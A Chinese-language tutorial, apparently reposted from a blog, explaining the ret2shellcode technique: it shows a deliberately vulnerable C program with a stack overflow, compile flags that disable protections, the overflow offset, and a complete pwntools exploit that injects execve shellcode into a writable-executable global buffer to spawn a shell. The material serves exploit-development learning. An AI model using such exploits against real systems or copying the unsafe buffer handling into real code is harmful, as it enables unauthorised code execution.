ret2shellcdoe
ret2shellcode的關鍵是找到一個緩沖區,這個緩沖區是可讀寫寫可執行的,我們要想辦法把我們的shellcdoe放到這個緩沖區,然后跳轉到我們的shellcode處執行。
例子:
#include <stdio.h> #include <string.h> char str1[0x40];void func() {char str[0x40];read(0,str,0x60);strcpy(str1,str); } int main() {func();return 0; }可以看出,read處有溢出
編譯:
gcc -no-pie -fno-stack-protector -z execstack -m32 -o 6.exe 6.c找到溢出點:
用peda生成100個字符,
溢出查看此時的EIP
溢出點在76
找到str1首地址
0x804a060
寫出我們的poc
from pwn import * context(arch="i386",os="linux") p=process('./6.exe') offset = 76 shellcode=asm(shellcraft.sh()) //生成shellcode代碼,這里的shellcode越短越好,長度不能超過溢出的長度76 payload =shellcode.ljust(offset,'\x90')+p32(0x804a060) //ljust是為了讓\x90填充我們的shellcode,讓其長度達到76,0x804a060是str1的首地址,目的是為了跳轉到str1首地址,去執行我們的shellcode pid=proc.pidof(p) print pid pause() p.sendline(payload) p.interactive()執行,成功獲得權限
注:
生成shellcdoe方法:
方法1.用pwntool或者peda和msfpc或者msfvenom工具生成,支持上線,最好越短越好
例如用pwntool中的shellcraft.sh(),再轉匯編字節碼asm()
asm(shellcraft.sh()),程序中我們是利用peda生成的。
方法2.手寫,其實網上一搜到處都是,可以直接用,但自己要和前段時間windows一樣自己調試提取
就是想辦法調用evecve("/bin/sh",null,null);
總結
ret2shellcode的本意是我們在程序當中能找到一塊緩沖區,這個緩沖區可讀可寫可執行,然后想各種辦法,把我們的shellcode搞進這個緩沖區,然后到這個緩沖區頭部去執行。
像上面的例子中,我們利用棧溢出將我們生成的shellcdoe復制到str1處,str1處可讀可寫可執行,并且在構造payload中加入了這個str1首地址,到這里去執行我們的shellcode
總結
以上是生活随笔為你收集整理的ret2shellcdoe的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 借助格式化输出过canary保护
- 下一篇: 地下城与勇士可以二转吗?